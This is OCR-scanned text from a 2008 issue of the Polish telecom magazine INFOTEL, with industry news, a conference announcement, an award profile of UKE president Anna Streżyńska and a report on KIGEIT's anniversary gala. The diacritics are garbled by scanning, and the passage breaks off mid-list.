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«Przyszitosc
komunikacji elektronicznej w Polsce”

8 kwietnia 2008 r.

Podczas trwania targow
INTERTELECOM 2008 w todzi (8-10 kwietnia 2008 r.)

Konferencja bedzie kolejnym spotkaniem specjalistow z dziedziny

komunikacji elektronicznej, a takze pracownikéw firm telekomunikacyjnych,
izb branzowych, naukowcéw zainteresowanych rozwojem branzy w Polsce.

W konferencji wezma udziat przedstawiciele Urzedu Komunikacji Elektronicznej
oraz sejmowej podkomisji ds. tgcznosci i nowoczesnych technik informacyjnych.
Organizowane przez wydawnictwo MSG Media oraz redakcje Infotela
spotkania tego cyklu zyskaty aprobate szerokiego grona pracownikéw nauki,
projektantéw, producentéw i operatorow.

Cele Konferencji:

Przedstawienie aktualnego stanu regulacji rynku komunikacji elektronicznej
M¥ oraz wprowadzania nowoczesnych technologii w naszym kraju;

w Przedstawienie najnowszych osiggnie¢ naukowych i technicznych
‘ oraz trendéw rozwojowych w zakresie komunikacji elektronicznej;

= Wymiana doswiadczen, integracja producentéw,
E dostawcow sprzetu i ustug, operatorow sieci, jednostek tgcznosci -
Organ#Zator

¥&=F administracji centralnej i lokalnej ze srodowiskiem
naukowo-badawczym. Méq
[] [] y MEDIA
Dla pierwszych 50 uczestnikow KONFERENCJI tel (052) 2583 10
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% ..Abonament Telefoniczny GTS Energis i Multilinia
dostepne w catej Polsce.

Zasieg ustugi Abonament Telefoniczny przeznaczonej dla firm
oraz Multilinia przeznaczonej dla klientébw indywidualnych
bedacych abonentami TP byt ograniczony w dostepie do 16 stref
numeracyjnych. Od 18 stycznia GTS Energis zwiekszyt zasieg
ustug, tak aby zapewnic¢ ich dostepno$é na obszarze catej Polski.

— GTS Energis konsekwentnie realizuje zatoZzong strategie i wy-
wigzuje sie z obietnic ztozonych swoim Klientom. Obiecalismy,
wprowadzajgc Multilinie w pazdzierniku 2007 roku, ze w krétkim
czasie ustuga ta bedzie dostepna dla wszystkich i juz dzis
ogfaszamy, ze mozemy jg Swiadczy¢ na terenie catej Polski
— moéwi Ireneusz Klimczak, Dyrektor Produktu GTS Energis.
— Jestem przekonany, iz spora liczba abonentéw chcgcych sko-
rzystac z atrakcyjnego pakietu ustug oraz bezpiecznych i nieza-
wodnych potgczeri dotgczy do grona zadowolonych Klientéw.

Aby skorzysta¢ z oferty Abonament Telefoniczny oraz Multilinia
i zmieni¢ dotychczasowego operatora, wystarczy kontakt z firmg
GTS Energis i podpisanie zamoéwienia na te ustuge. Klienci, kto-
rzy zdecydujg sie na korzystanie z ustug GTS Energis, moga
oszczedzi¢ nawet do 23 proc. na optatach abonamentowych

51’ ..Rozwigzanie sieciowe dla matych i srednich przed-
sigbiorstw.

NETGEAR

Firma NETGEAR®, Inc. zaprezentowata NETGEAR® ProSafe
Dual WAN Gigabit SSL VPN Firewall (FVS336G) — wszech-
stronng, funkcjonalng zapore zapewniajacg bezpieczenstwo sieci
oraz zdalny i niezawodny dostep do internetu. Nowy model prze-
znaczony jest dla matych i Srednich przedsiebiorstw. Obstuguje
do 25 tuneli IPsec i 10 tuneli SSL VPN, oferujgc bezpieczne
potgczenia dwustronne, zdalny dostep lub funkcje telepracy, nie
wymagajgc oprogramowania klienckiego VPN.

— Zespoly testowe miaty okazje w petni wykorzystac funkcje i mo-
Zliwosci FVS336G — powiedziat Wojciech Karwowski, Country
Manager NETGEAR Poland. — Jestesmy przekonani, ze funkcjo-
nalnos¢ i wszechstronno$¢ urzgdzenia sprawig, Ze znajdzie ono
w Polsce wielu nabywcdw.

ProSafe Dual WAN Gigabit SSL VPN Firewall (FVS336G) wypo-
sazono w zintegrowany, czteroportowy przetgcznik 10/100/1000
Mb/s umozliwiajgcy szybkg prace sieci i zarzadzanie przez
SNMP. Urzadzenie zawiera réwniez dwa porty Gigabit WAN
obstugujace podwdjne potgczenia szerokopasmowe z funkcjg
robwnowazenia obcigzenia i przejmowania ruchu w przypadku
awarii, co zwieksza przepustowo$¢ i niezawodno$¢ firmowego
potgczenia z internetem.

£8

Panasonic, czotowa marka koncernu Matsushita Electric Indu-
strial, $wiatowego lidera w dziedzinie rozwoju oraz produkcji
urzadzen elektronicznych, poinformowat, ze system biometrycz-

..Panasonic IRIS - identyfikacja bez kompromiséw.

4

nej kontroli dostepu Panasonic BM-ET200 oparty na rozpozna-
waniu teczéwki oka otrzymat nagrode roku 2007 przyznawang
przez prestizowy magazyn Detektor International. Miedzynarodo-
we nagrody tego magazynu wreczane sg najbardziej oryginalnym
pod wzgledem technologicznym produktom z branzy zabezpie-
czen. W mijajgcym roku czytnik oznaczony symbolem BM-ET200
otrzymal takze wyr6znienie na miedzynarodowych targach za-
bezpieczen IFSEC 2007 w Wielkiej Brytanii, gdzie zostat uznany
za najlepszy nowy produkt w kategorii kontrola dostepu (Best
News Access Control Product).

Panasonic BM-ET200 redefiniuje mozliwoéci technologii biome-
trycznej. Jest zaawansowanym, niezawodnym systemem kontroli
dostepu do pomieszczen, ktoéry gwarantuje najdoktadniejszg do-
stepng obecnie metode identyfikacji biometrycznej i najwyzszy
poziom ochrony. Ten udoskonalony model jest 5 razy szybszy od
swojego poprzednika — automatyczna identyfikacja teczéwki oka
odbywa sie w ciggu zaledwie 0,3 sekundy.

58

..Firma Lanex wprowadzita do swojej oferty nowy

produkt — multiplekser $wiattowodowy TM-64.

Urzadzenie realizuje transparentng transmisje danych pakieto-
wych z szybkoscig FastEthernet 100Mbps oraz o$miu strumieni
synchronicznych E1, G.703 poprzez Swiattowdd jedno- bgdz wie-
lomodowy zaréwno ,punkt-punkt’, jak i w topologii magistrali.

Zastosowanie elementow WDM pozwala zestawia¢ potgczenia
wykorzystujgce mniejszg liczbe wtdkien $wiattowodowych. Nieza-
leznie mozna zastosowa¢ mechanizm protekcji tacza w celu
zwiekszenia niezawodno$ci transmisji danych. TM-64 jest cie-
kawg alternatywg dla krotnic SDH, szczegdlnie w przypadku
potaczen typu ,ostatnia mila" oferuje uzytkownikowi mozliwo$¢
tatwego zwiekszenia pojemnosci tacza.

5

- ..Prawdziwie swiatowy telefon Walkman® Sony Eric-

s-son pozwoli Ci dzieli¢ sie pasja.

Sony Ericsson przedstawil W760 — pierwszy prawdziwie Swiato-
wy telefon Walkman®, ktéry obstuguje trzypasmowag transmisje
HSDPA (High-Speed Download Packet Access) i umozliwia szy-
bkie szerokopasmowe wczytywanie najnowszych plikéw muzycz-

INFOTEL 4/2008
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nych i treci. Oferujagc muzyke w telefonie i wiele innych tresci,
telefon ten posiada wbudowany GPS oraz wyr6zniajace sie gtos-
niki stereo. Dodatkowo wyposazony jest w najnowsze gry,
bedace najwiekszymi hitami, w tym Need for Speed™ ProStreet.

— W dzisiejszych czasach ludzie sg w ciggtym ruchu, a wiec waz-
ne jest, by mogli sie ze sobg skontaktowac w kazdej chwili i by
mieli dostep do rozrywki w zasiegu reki — powiedziat Ben Pad-
ley, Head of Music Marketing w Sony Ericsson. — Model W760
doskonale pasuje do ich stylu zycia — jest przebojowy i rozrywko-
wy. W760 przenosi telefon Walkman® w rejony bogatsze niz
sama muzyka.

28
£ ..Niezaleznos¢ UKE na celowniku Komisji Europej-
skiej.

Komisja Europejska (KE) pozwata Polske do unijnego Trybunatu
Sprawiedliwosci za brak ustawowych gwarancji niezaleznosci
szefa Urzedu Komunikacji Elektronicznej (UKE)...

Zgodnie z ustawg z sierpnia 2006 roku, premier ma nieograni-
czong swobode odwolywania szefa UKE, za$ polskie prawo nie
okresla jego kadencji. To oznacza — zdaniem KE — brak niezalez-
nosci urzedu, ktérego zadaniem jest kontrola rynku komunikacyj-
nego, gdzie polski rzad wcigz ma znaczne udziaty.

Komisja Europejska kieruje kolejny pozew przeciwko Polsce do
Unijnego Trybunatu w Luksemburgu. Tym razem zarzuca nam
tamanie prawa w dziedzinie telekomunikaciji.

Bruksela domaga sie petnej niezaleznosci krajowego regulatora,
czyli Urzedu Komunikacji Elektronicznej. Zdaniem Komisji tej nie-
zaleznosci nie gwarantujg zmiany w przepisach, wprowadzone
w sierpniu 2006 roku. Dajg one premierowi swobode w od-
wotywaniu prezesa UKE. Komisja zwraca przy okazji uwage, ze
polski rzad wcigz ma znaczne udzialy w niektérych firmach tele-
komunikacyjnych.

INFOTEL 4/2008

g! ..Netia coraz blizej sprzedazy akcji P4.

List intencyjny podpisaty: Netia SA oraz Tollerton Investments Li-
mited i Novator Telecom Poland Sarl...

Zarzad spotki Netia SA poinformowat o otrzymaniu deklaracji
zainteresowania nabyciem pakietu udziatébw Netii w jej spoice
stowarzyszonej P4.

W wyniku wstepnych negocjacji Netia SA, Tollerton Investments
Limited i Novator Telecom Poland Sarl podpisaly list intencyjny,
nie majgcy charakteru wigzacej umowy, w ktérym uzgodnity
wstepne warunki potencjalnej transakcji. Deklaracja przewiduje
sprzedaz 23,4 proc. pakietu udziatéw Netii w P4 za cene 130 min
Euro. Zgodnie z warunkami listu intencyjnego, strony zamie-
rzajg zawrze¢ ostateczne umowy i zamkna¢ transakcje do dnia
31 marca 2008 r.

g : ..Zmiany w Zarzadzie Telekomunikacji Polskie;j.

Rada Nadzorcza Telekomunikacji Polskiej przyjeta rezygnacje
trzech cztonkéw Zarzgdu TP...

Rada Nadzorcza Telekomunikacji Polskiej przyjeta rezygnacje
trzech czlonkéw Zarzadu TP: Benoit Merel'a, lwony Kossmann
i Pierricka Hamon. Jednoczesnie powierzyta obowigzki cztonka
Zarzadu TP Rolandowi Dubois.

24 stycznia 2008 r. lwona Kossmann, Pierrick Hamon i Benoit
Merel ztozyli rezygnacje z petnienia funkcji cztonkéw Zarzadu TP.
Powodem jest realizacja nowych planéw zawodowych. Rezygna-
cje wchodzg w zycie w nastepujacych terminach: 24 stycznia
2008 r. w przypadku lwony Kossmann, 29 lutego 2008 r. w przy-
padku Pierrick'a Hamon i Benoit Merel'a.

Obradujgca w tym samym dniu Rada Nadzorcza TP powotata
Roland’a Dubois w sktad Zarzgdu. Zostanie on nastepcg Benoit
Merel'a, obecnego czlonka Zarzadu ds. finanséw. Nowa funkcje
obejmie 1 marca 2008 r. pracujgc do tego czasu razem z Benoit
Merelem nad przejeciem obowigzkdéw.

50
= —1..Polska moéwi NIE europejskiemu Regulatorowi.

Rzgd Rzeczypospolitej Polskiej nie popiera propozycji utworzenia
Europejskiego Urzedu ds. Rynku tacznosci Elektroniczney...

Komisja Europejska wnioskuje o ustanowienie nowego niezalez-
nego Urzedu, $cisle wspotpracujgcego z krajowymi organami
regulacyjnymi i Komisja, odpowiedzialnego przed Parlamentem
Europejskim. W jego sktad ma wej$¢ Rada Organéw Regulacyj-
nych, w ktérej zasigdg szefowie krajowych organdéw regulacyj-
nych ze wszystkich panstw czlonkowskich, i zastapi on Euro-
pejska Grupe Regulatoréw (ERG).

Urzad ten ma stuzy¢ Komisji Europejskiej specjalistycznym dora-
dztwem, zwtaszcza w celu przygotowania decyzji regulacyjnych
podejmowanych na podstawie procedury okreslonej w artykule 7
oraz w celu kontynuacji rozszerzania rynku wewnetrznego przez
zwiekszenie spojnosci w zastosowaniu przepisow UE, a takze
bedzie stanowi¢ osrodek wiedzy fachowej w zakresie sieci i ustug
tgcznosci elektronicznej na poziomie europejskim.

Nowy Urzad mialby przejg¢ takze funkcje Europejskiej Agenciji
Bezpieczenstwa Sieci i Informacji (ENISA), co pozwoli prze-
zwyciezy¢ wiele z probleméw stwierdzonych w funkcjonowaniu
ENISA.
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Rzad Rzeczypospolitej Polskiej nie popiera propozycji utworzenia
Europejskiego Urzedu ds. Rynku tacznosci Elektronicznej (Eu-
ropean Electronic Communications Market Authority — EECMA).
Zdaniem Janusza Piechocinskiego — wiceprzewodniczacego Sej-
mowej Komisji Infrastruktury — propozycja Komisji Europejskiej
nie zawiera uzasadnienia merytorycznego i prawnego zastapie-
nia Europejskiej Grupy Regulatoréw (ERG) innym organem i w
ten sposdb zapewnienia spdjnego wdrozenia regulacji we wszy-
stkich panstwach cztonkowskich. W uzasadnieniu projektu roz-
porzadzenia nie wykazano jakie przestanki byty podstawa do za-
proponowania tak daleko idgcych zmian instytucjonalnych.

..TP przetestuje internet o predkosci 50 Mb/s.

Z pilotazu mogg skorzysta¢ wszyscy mieszkaricy nowego budyn-
ku na warszawskiej Woll...

Telekomunikacja Polska jest gotowa do rozpoczecia testu doste-
pu do internetu o predkosci 50 Mb/s. Z pilotazu moga skorzystaé
wszyscy mieszkancy nowego budynku na warszawskiej Woli,
w ktérym zostata zainstalowana infrastruktura $wiattowodowa.

Dzieki wspétpracy z jedng z firm developerskich, Telekomunika-
cja Polska zainstalowata infrastrukture $wiattowodowg w nowym
budynku na warszawskiej Woli. Pozwoli to na uruchomienie mul-
tipakietu tp wraz z pilotem technicznym dostepu do internetu
o predkosci 50/10 Mb/s, w technologii FTTH (Fiber to the Home).
Test rozpocznie sig, gdy developer przekaze mieszkania lokato-
rom.

Kazdy z mieszkancéw wspomnianego budynku ma mozliwo$é
wziecia udziatu w pilotazu, ktéry potrwa do konca listopada 2008
roku. Wystarczy aktywowaé¢ multipakiet tp 50 Mb/s, ktéry podczas
trwania pilota jest dostepny w specjalnej, bardzo atrakcyjnej ce-
nie 49 zt za miesiac korzystania z ustugi.

W ramach multipakietu tp 50 Mb/s osoby biorgce udziat w pilota-

zu moga korzystaé z:

® dostepu do internetu o predkosci 50/10 Mb/s poprzez modem
Livebox FTTH;

@ videostrady tp;

® wideo na zyczenie;

@ telefonii internetowej tp — plan tanie rozmowy.

Do testu TP wybrata nowy budynek, w ktérym znajduje sie 265

mieszkan. Z oferty bedzie wiec mogto skorzysta¢ kilkaset, gtéw-

nie mtodych oséb, ktére stanowig najlepsza grupe badawczg dla

tego rodzaju ustug.

&

..Microsoft kontynuuje program Partners in Learning.

Microsoft przeznaczy kwote 235,5 min dolaréw na kontynuacje
programu...

Firma Microsoft poinformowata, ze w ciggu nastepnych 5 lat
przeznaczy kwote 235,5 min dolaréw na kontynuacje programu
sPartners in Learning” realizowanego w przeszto 100 krajach
Swiata. W ten sposéb tgczny wktad firmy w ciggu 10 lat trwania
programu siegnie niemal 500 min dolaréw.

Celem inicjatywy jest zapewnienie nauczycielom i placowkom
o$wiatowym dostepu do wysokiej jakosci materiatow dydaktycz-
nych oraz szkolen, by w efekcie w petni wykorzysta¢ potencjat
mtodziezy szkolnej oraz przygotowac jg do aktywnosci zawodo-
wej i gospodarczej w nowoczesnej gospodarce opartej na wie-
dzy. Program ,Partners in Learning” jest realizowany w Polsce od
poczatku 2004 roku.

&

..Comarch podpisat z Invest Bank SA kontrakt na

wdrozenie infrastruktury Call Center wraz z systemem Co-
march CRM przeznaczonym dla konsultantow telefonicz-
nych.

Wdrazany w Invest Banku SA system Comarch CRM Contact
Center jest rozwigzaniem wspierajgcym prace konsultantéw Con-
tact Center, nalezacym do platformy Comarch CRM, ktéra byta
nagradzana jako najnowoczes$niejsze rozwigzanie informatyczne
klasy CRM. System bedzie wspoétpracowat z rozwigzaniami Call
Center dostarczonymi przez firme AVAYA, partnera technolo-
gicznego Comarch. Cato$¢ pozwoli na kompleksowg obstuge
klientéw, od portalu gtosowego dajgcego mozliwos¢ wykonywa-
nia operacji bankowych, po dostep do konsultantéw w petni wy-
posazonych we wszystkie istotne dane na temat klientéw.

&

..VIA wprowadza ARTiGO Builder Kit — zestaw do

montazu komputeréw Pico-ITX.

Firma VIA Technologies, Inc. wprowadzita do oferty zestaw VIA
ARTIGO, umozliwiajgcy entuzjastom samodzielny montaz minia-
turowego komputera osobistego. Zestaw zaprojektowany przez
twércow formatu Pico-ITX umozliwia samodzielng realizacje za-
awansowanego projektu typu ,zréb to sam”.

Wyobraz sobie w peti funkcjonalny komputer x86 mieszcza-
cy sie w dioni i umozliwiajacy realizacje wszystkich codzien-
nych zadan komputerowych, z petng obstugg multimediéow. VIA
ARTIGO wazy okoto 520 graméw przy wymiarach zaledwie
15 cm x 11 cm x 4 cm — jest wielkosci mniej wiecej potowy typo-
wego napedu CD do komputeréw stacjonarnych — mozna go na-
wet zainstalowa¢ w zatoce obudowy komputera PC.
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W zestawie VIA ARTIGO znajdujg sie rowniez wszystkie przewo-
dy i akcesoria portowe niezbedne do samodzielnego ztozenia
komputera. Ponadto system umozliwia indywidualizacje roz-
wigzan — wystarczy doda¢ wymagang ilos¢ pamieci, dysk twardy
0 pozadanej pojemnosci i zainstalowaé wybrany system opera-
cyjny.

..Cichy koniec France 24.

Rok temu zaczynata z fanfarami, teraz ma znikngé. Stacja infor-
macyjna France 24, ktéra miata by¢ francuskg odpowiedzig na
CNN, ma zosta¢ wcielona do nowego projektu telewizyjnego.
W grudniu 2006 r. stacje otwierat éwczesny prezydent Franciji,
Jacques Chirac, z wielkg pompa i w blasku fleszy.

Projekt, wspéttworzony przez francuska telewizje publiczng oraz
nadawcow prywatnych (TF1), miat w zamierzeniu sta¢ sie francu-
skim CNN — popularng na catym $wiecie stacjg informacyjna, tyle
ze nadawang i po francusku, i po angielsku. Na papierze sukces
wydawat sie zagwarantowany — 80 min euro rocznego budzetu,
blisko 200 statych dziennikarzy, nowoczesne studia pod Pary-
zem.

Zwyciestwo jednak nie nadeszto, France 24 nie zdetronizowata
CNN. | tak jak stacje otwierat prezydent, tak teraz decyzje o jej
powolnej kasacji podjat nowy szef francuskiego panstwa — Nico-
las Sarkozy.

..CYFRA+ i Telekomunikacja Polska podpisujg poro-
zumienie o wspotpracy i przygotowuja oferte triple play.
CANAL+ Cyfrowy i Telekomunikacja Polska podpisaty umowe
0 wspotpracy, ktéra pozwoli na stworzenie ofert triple play (tele-
wizja, internet, telefon) dla abonentéw CYFRY+ oraz klientow TP
niemajgcych dostgpu do sieci szerokopasmowej. To istotne na
polskim rynku porozumienie pozwoli upowszechni¢ nowoczesng
technologie taczaca trzy ustugi, szczegodlnie w rejonach, gdzie do
tej pory nie byto to mozliwe. Jednoczes$nie po raz pierwszy w Pol-
sce platforma cyfrowa zaoferuje klientom triple play.

Zgodnie z umowa, CYFRA+ poza telewizjg satelitarng zaoferuje
swoim abonentom takze dostep do internetu i telefonii. Urucho-
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mienie ustugi planowane jest w drugim kwartale 2008 r. Obok de-
koderéw satelitarnych uzytkownicy nowej oferty zostang wy- po-
sazeni w terminale double play dajgce dostep do internetu i tele-
fonii poprzez DSL lub drogg radiowa.

..Paramount zaprzecza.

Wytworia filmowa Paramount Pictures zaprzeczyta doniesie-
niom prasowym, wedtug ktérych miataby zrezygnowac¢ ze wspie-
rania formatu HD DVD.

Paramount zdecydowat sie na wydawanie swoich filméw wytacz-
nie w formacie HD DVD w sierpniu ubiegtego roku. Tymczasem
przed kilkoma dniami wytwornia Warner Bros. podjeta decyzje
o udzieleniu wsparcia wytgcznie konkurencyjnemu Blu-ray.

Wedtug Financial Times, ten fakt moégtby mie¢ duzy wpltyw na po-
suniecie Paramount Pictures. Zdaniem gazety, w umowie, jaka
Paramount zawart z obozem HD DVD, zapisana zostata klauzu-
la pozwalajgca wytworni na przejscie na strone przeciwnika,
w przypadku, gdy Warner zdecyduje sie na wsparcie formatu
Blu-ray. Wéwczas jedyng liczaca sie wytwornig wspierajgca
wytgcznie format HD DVD pozostataby Universal Studios. Tym-
czasem Blu-ray miatby po swojej stronie az szesciu zwolennikdw.

Doniesieniom FT zaprzeczyta jednak rzeczniczka prasowa Para-
mount, Brenda Ciccone. Jak donosi serwis Bloomberg.com,
w o$wiadczeniu przestanym dziennikarzom drogg e-mailowg po-
informowata ona, ze obecnym zamierzeniem wytworni jest dalsze
wspieranie formatu HD DVD.

..TV zaprzyjaznia sie z internetem.

.Niech zyje telewizja tradycyjna... dzieki internetowi” — tak brzmi
jedna z najbardziej przewrotnych tez analitykéw Deloitte. Wyda-
waloby sie, ze w dobie zawrotnej popularnosci takich serwisow
jak YouTube czy Joost oferujgcych przez internet programy tele-
wizyjne za darmo wrézenie telewizji Swietlanej przysztosci jest ry-
zykowne. — Wydaje sie jednak, zZe telewizja internetowa to kolej-
ne medium, ktérego jakosc, formaty i odbiorcy znaczgco réznig
sie od tego, z czym mamy do czynienia w telewizji trady-
cyjnej. Tradycyjni nadawcy powinni popracowac¢ nad tym, zeby
uzupetni¢ swojg oferte kanatami online — czytamy w raporcie De-
loitte.

— Mozemy wyobrazi¢ sobie telewizor z przeglgdarkg internetowg,
ktory pozwala ogladac nie tylko zwykte programy telewizyjne, ale
réwniez pliki wideo bezposrednio z internetu. Skorzysta na tym
widz, ktory zamiast ograniczonej listy kanatow telewizyjnych
ma dostep do nieograniczonych zasobdw internetu — komentuje
Dariusz Nachyta, partner w firmie Deloitte, odpowiedzialny za
sektor TMT.
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Wzor urzednika panstwowego

Nagroda

Grzegorz Kantowicz

im. Andrzeja Baczkowskiego
dia Anny Strezynskiej

W grudniu ubiegtego roku Kapituta Nagrody

im. Andrzeja Baczkowskiego zadecydowata, ze laureatem Nagrody
w 2007 roku zostata Anna Strezynska — Prezes Urzedu
Komunikacji Elektronicznej.
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W siedzibie dziennika ,Rzeczpospolita”, patrona
medialnego nagrody, w dniu 15 stycznia br. odbyto
sie uroczyste wreczenie nagrody. Kapituta nagrody
uznata, ze Anna Strezynska w trakcie swojej dro-
gi zawodowej, sprawujac kolejne funkcje urzedni-
cze, kierowata sie przede wszystkim dobrem pan-
stwa i spofeczenstwa. Jej profesjonalizm, rzetel-
nos¢, bezstronnos¢ i determinacja to cenny wktad
w proces tworzenia wysokich standardéw funkcjo-
nowania stuzby publicznej. Anna Strezynska jest
wiec wzorem urzednika panstwowego.

Anna Strezynska, obecnie prezes Urzedu Komu-
nikacji Elektronicznej, jest prawnikiem, specjalizu-
je sie w prawie dotyczacym telekomunikacji, me-
didw, konkurencji i ochrony praw konsumentow.
Byta m.in. wicedyrektorem departamentu w Urze-
dzie Ochrony Konkurencji i Konsumentéw, w latach
1998-2001 doradcg trzech ministrow tgcznosci, pod-
sekretarzem stanu w Ministerstwie Transportu i Bu-
downictwa, a od 8 maja 2006 r. jest prezesem
UKE. Dzieki jej konsekwentnym i zdecydowanym
dziataniom znacznie obnizyty sie ceny ustug interne-
towych, zmniejszyty optaty za potgczenia z telefo-
néw stacjonarnych na komorkowe oraz koszt uzyt-
kowania telefonu komérkowego, wzrosta konkuren-
cja na rynku telefonii komoérkowe;.

Uwaza sie przede wszystkim za urzednika, ktory
stara sie rozwigzywa¢ konkretne problemy ponad
podziatami politycznymi.

,_»\ @ e Em,osvom‘z\ \
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Pytana o zZrédta swoich sukcesoéw, wymienia trzy
warunki: ciezka praca od rana do nocy, kontrolowa-
nie wszystkiego od A do Z i stuchanie tego, co majg
do powiedzenia inni. — Nagroda potwierdza stusz-
no$¢ wybranej drogi — méwita A. Strezynska od-
bierajgc wyroznienie. Dodata, ze czuje sie dumna,
a jednocze$nie zobowigzana do zdwojonego wy-
sitku. Zapewnita, ze nie boi sie¢ zadnych wyzwan.

Anna Strezynska oswiadczyta, ze przekaze nagrode
pieniezng w wysokos$ci 25 tys. zt dwém fundacjom:
Federacji Inicjatyw Obywatelskich oraz Fundacji
Teatr Otwarty przy Teatrze Bajka w Warszawie.

W sktad kapituty przyznajgcej nagrode wchodzg m.in.
zona Andrzeja Baczkowskiego — Grazyna, Jerzy
Hausner, Michat Boni, Longin Komotowski, Jerzy
Kropiwnicki oraz Henryka Bochniarz.

Nagroda im. Andrzeja Baczkowskiego przyznawana
jest osobom, ktére — podobnie jak patron nagro-
dy, Andrzej Baczkowski — rozwigzujg wazne proble-
my spoteczne, stanowig wzor stuzby publicznej,
dziatajg w duchu porozumienia i wspotpracy, kierujg
sie ideg dziatania ,ponad podziatami”. Organizato-
rem konkursu jest Fundacja dla Polski.

Andrzej Baczkowski — prawnik, dziatacz NSZZ So-
lidarno$¢ i opozycji demokratycznej, wiceminister
pracy w latach 1991-1996, a nastepnie minister
pracy do chwili nagtej smierci w listopadzie 1996
roku. W 1995 r. Andrzej Baczkowski zostat uznany
za Urzednika Roku i wyrozniony Nagrodg Kisiela
1996. Posmiertnie zostat odznaczony Krzyzem Ofi-
cerskim Orderu Odrodzenia Polski.

Dla uczczenia jego pamigci przyznawana jest na-
groda im. Andrzeja Baczkowskiego dla najlepszych
urzednikow panstwowych, wreczana w rocznice
jego Smierci. &

Anna Strezynska odbiera nagrode z rak syna Andrzeja Baczkowskiego — Michafa. Fot. Grzegorz Kantowicz
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15-lecie istnienia Krajowej lzby Gospodarczej Elektroniki i Telekomunikacii

Wielka Gala

29 stycznia 2008 roku w salach Zamku Krélewskiego w Warszawie odbyta sie Wielka Gala z okazji 15-lecia istnienia
Krajowej Izby Gospodarczej Elektroniki i Telekomunikacji. Przybyfo ponad 250 os6b, a wsréd nich sekretarz stanu
w Ministerstwie Gospodarki Adam Szejnfeld, zastepca przewodniczgcego sejmowej Komisji Infrastruktury

Janusz Piechocinski, zastepca przewodniczgcego sejmowej Komisji Kultury i Srodkéw Masowego Przekazu

Jerzy Wenderlich, zastepca przewodniczacego sejmowej Komisji Gospodarki Antoni Mezydtlo, podsekretarze stanu
i dyrektorzy departamentow kilku ministerstw, przedstawiciele zaprzyjaznionych organizacji samorzadu
gospodarczego i stowarzyszen, osoby, ktore wspofpracuja z Izba lub sa jej sympatykami oraz przedstawiciele firm

czionkowskich. Uroczysto$¢ poprowadzita Marzena Stupkowska z Telewizji Polskiej SA.

Cze$¢ oficjalng uroczystosci otworzyt prezes za-
rzadu lzby — Stefan Kaminski. Przypomniat m.in
okolicznosci, ktére doporowadzity do powotania Izby
w okresie burzliwych przemian, jakie miaty miejsce
na poczatku lat 90. ub. wieku. Nastepnie laudacje
wygtosili: minister A. Szejnfeld w imieniu wiasnym
oraz ministra gospodarki i wicepremiera \Walde-
mara Pawlaka, poset A. Mezydlo, prezes KIG
A. Arendarski i dyrektor generalny EICTA Mark
McGann, ktory powiedziat, ze 15 lat temu na Krem-
lu panowat M. Gorbaczow, na Downing Street
M. Thatcher, a w Biatym Domu G. Bush Senior. Dzi$
mato kto o nich pamieta, natomiast w KIGEIT pre-
zes jest wcigz ten sam.

Kolejnym punktem programu byto uroczyste uhono-
rowanie 0os6b zastuzonych dla rozwoju i dziatalnosci
KIGEIT. W grupie oséb wspétpracujgcych z Izbg dy-
plomy honorowe otrzymali:

Waldemar Pawlak — wyr6znienie specjalne za
wspotprace przy tworzeniu polityki dla sektora elek-
tronicznego w latach 1993-1995, w szczegoélnosci
zwigzanej z negocjacjami przystgpienia Polski do
GATT jako Prezesowi Rady Ministrow RP;

Anna Strezynska — za konsekwentng i skuteczng
realizacje strategii regulacyjnej dla rynku telekomu-
nikacyjnego na stanowisku Prezesa Urzedu Komu-
nikacji Elektronicznej;

Adam Szejnfeld — za znaczacy wktad w proces
legislacyjny tworzacy korzystne warunki dla inwe-
stycji i rozwoju przemystu elektronicznego w Polsce
na stanowisku przewodniczgcego i wiceprzewod-
niczacego sejmowej Komisji Gospodarki IV i V ka-
dencji;

Antoni Mezydio — za znaczacy wkiad w rozwoj
konkurencyjnego rynku telekomunikacyjnego na
stanowisku przewodniczacego sejmowej podkomisji
statej ds. tgcznosci;

Mieczystaw Nogaj — za diugoletnig wspotprace
z lzbg przy tworzeniu polityki celnej dla sektora
elektronicznego, w szczegoélnosci przy negocjacjach
z WTO w ramach Porozumienia ITA na stanowisku
dyrektora departamentu w Ministerstwie Gospodarki
w latach 1993-95 i od 2004 r. do chwili obecnej oraz
Prezesa Gtéwnego Urzedu Cet w latach 1995-97;

Barbara Kopijkowska-Nowak - za dtugoletnig
wspétprace z lzbg przy tworzeniu polityki celnej
dla sektora elektronicznego oraz przy negocjacjach
z WTO w ramach Porozumienia ITA na stanowisku
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dyrektora departamentu
w Ministerstwie Gospo-
darki od 1995 roku;

Wojciech Maj - za
dtugoletnig wspotprace
z lzbg przy tworzeniu
polityki  przemystowej
i celnej dla sektora ele-
ktronicznego, w szcze-
golnosci przy tworze-
niu strategii dla prze- <
mystu elektronicznego d)

do 2010 roku na sta- [ R
nowisku dyrektora de- Zumek Hsblewsks w Warszame
partamentu w Minister-
stwie Gospodarki w la-
tach 1996-2007;

Wiestaw Czyzowicz — za dtugoletnig wspotprace
z lzbg przy tworzeniu polityki celnej dla sektora
elektronicznego, w szczegdlnosci przy negocjacjach
z WTO na stanowisku Prezesa Gtéwnego Urzedu
Cet w latach 2002-2004;

wielka Gala

Patron Glowny

Piotr Wozny — za znaczacy wkiad w proces legisla-
cyjny, tworzacy podstawy konkurencyjnego rynku
telekomunikacyjnego w Polsce na stanowisku pod-
sekretarza stanu w Ministerstwie £gcznosci w latach
2000-2001.

W grupie os6b dziatajgcych na forum Izby dyplomy
honorowe otrzymali:

Nina Brynczak — za wiele nowych inicjatyw na fo-
rum lzby, w tym tworzenie nowych sekcji branzo-
wych oraz wieloletnig prace w organach statuto-
wych lzby, jako cztonkowi zarzadu lzby od IV ka-
dencji;

Eugeniusz Gaca — za znaczacy wktad w integracje
Srodowiska operatoréw telekomunikacyjnych oraz
dziatania na rzecz rozwoju rynku telekomunika-
cyjnego w Polsce, jako cztonkowi zarzgdu Izby od V
kadenciji;

Zdzistaw Kleszcz — za wiele inicjatyw i aktywnos$c¢
na forum lzby, w szczegolnosci w sektorze tele-
komunikacyjnym oraz wieloletnig prace w organach
statutowych Izby, jako jednemu z inicjatorow zatoze-
nia Izby i cztonkowi wtadz statutowych Izby od Il ka-
dencji;

Andrzej Kaczmarek — za wiele inicjatyw i aktyw-
nos¢ na forum lzby, w szczegdlnosci w sektorze
elektroniki konsumenckiej, jako jednemu z inicjato-

ji i stania
2z okazji XV rocznicy pow: i
Krajowej 1zby Gasppdarcze)
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rébw zatozenia lzby i pierwszemu prezesowi lzby
w latach 1992-1995;

Roman Kluska — za wiele inicjatyw i aktywnos$c
na forum lzby, w szczegolnosci w sektorze informa-
tycznym oraz wieloletnig prace w organach statuto-
